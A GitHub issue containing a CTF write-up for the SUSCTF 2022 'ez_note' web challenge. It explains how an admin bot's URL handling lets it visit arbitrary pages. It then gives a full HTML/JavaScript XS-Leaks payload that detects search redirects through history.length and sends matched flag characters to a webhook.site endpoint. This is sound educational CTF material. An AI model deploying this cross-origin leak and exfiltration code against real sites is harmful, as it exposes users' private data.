Skip to content
New issue

Have a question about this project? # for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “#”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? # to your account

SUSCTF 2022 - web/ez_note #51

Open
aszx87410 opened this issue Mar 1, 2022 · 0 comments
Open

SUSCTF 2022 - web/ez_note #51

aszx87410 opened this issue Mar 1, 2022 · 0 comments
Labels

Comments

@aszx87410
Copy link
Owner

2

You can create and search your note, if there is a match you will be redirected to the note page by client redirection:setTimeout(() => location = '{note_page}', 1000)

Regarding the bot part, although it looks like you can only send it the link with prefix http://123.60.29.171:10001, but it's not the truth.

I think that's why they are giving the bot source code:

const visit = async (browser, path) =>{
    let site = process.env.NOTE_SITE ?? ""
    let url = new URL(path, site)
    console.log(`[+]${opt.name}: ${url}`)
    let renderOpt = {...opt}
    try {
        const loginpage = await browser.newPage()
        await loginpage.goto( site+"/signin")
        await loginpage.type("input[name=username]", "admin")
        await loginpage.type("input[name=password]", process.env.NOTE_ADMIN_PASS)
        await Promise.all([
            loginpage.click('button[name=submit]'),
            loginpage.waitForNavigation({waitUntil: 'networkidle0', timeout: 2000})
        ])
        await loginpage.goto("about:blank")
        await loginpage.close()

        const page = await browser.newPage()
        await page.goto(url.href, {waitUntil: 'networkidle0', timeout: 2000})

        await delay(5000) /// waiting 5 second.

    }catch (e) {
        console.log(e)
        renderOpt.message = "error occurred"
        return renderOpt
    }
    renderOpt.message = "admin will view your report soon"
    return renderOpt
}

The important part is here: let url = new URL(path, site), according to the docs:

input: The absolute or relative input URL to parse. If input is relative, then base is required. If input is absolute, the base is ignored

So, by sending the absolute URL, you can let bot visit any links, no need to find an XSS on the note site(and I don't think there is).

If we can detect the redirection, we can leak the flag char by char. I used the history.length trick mentioned in XS-Leaks.

You just open a window and then redirect back to your origin, then you can access history.length to see if redirection occurs.

Here is the my payload:

<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="utf-8">
  <meta name="robots" content="noindex">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <meta http-equiv="X-UA-Compatible" content="ie=edge">
</head>

<body>
    <script>
      var flag = 'SUSCTF{'
      function send(msg) {
        fetch('https://webhook.site/bad84752-95a1-45c4-8395-e5577ea1112b?msg=' + encodeURIComponent(msg))
      }
      function trying(keyword) {
        return new Promise(resolve => {
          var win = window.open('http://123.60.29.171:10001/search?q=' + keyword)
          setTimeout(() => {
            win.location = 'http://e050-220-133-126-220.ngrok.io/non.html'
            setTimeout(() => {
              if (win.history.length === 3) {
                send('success:' + keyword)
              } else {
                //send('fail:' + keyword)
              }
              win.close();
            }, 1000)
          }, 1500)
        })
      }

      async function run() {
        send('start')
        // }abcdefghijklmnopqrstuvwxyz0123456789_
        // }abcdefghijklmnopqrs
        // 
        let chars = '_abcdefghijklmnopqrstuv'.split('')
        //let chars = '}wxyz0123456789_'.split('')
        for(let char of chars) {
          const temp = flag + char
          trying(temp)
        }
      }

      setTimeout(() => {
        run()
      }, 1000)
      
    </script>
</body>
</html>

5 seconds is not enough for all possibilities(38 chars), so I need to manually send it to bot twice to just leak one character.

I believe their is a faster way to do this, but I am too lazy to explore, so I just send it manually for few times.

The most time-consuming part is the reCAPTCHA, it took me about 80% of the time for leaking the whole flag(10% writing exploit, 10% submitting the form).

Fortunately, the flag is short.

# for free to join this conversation on GitHub. Already have an account? # to comment
Labels
Projects
None yet
Development

No branches or pull requests

1 participant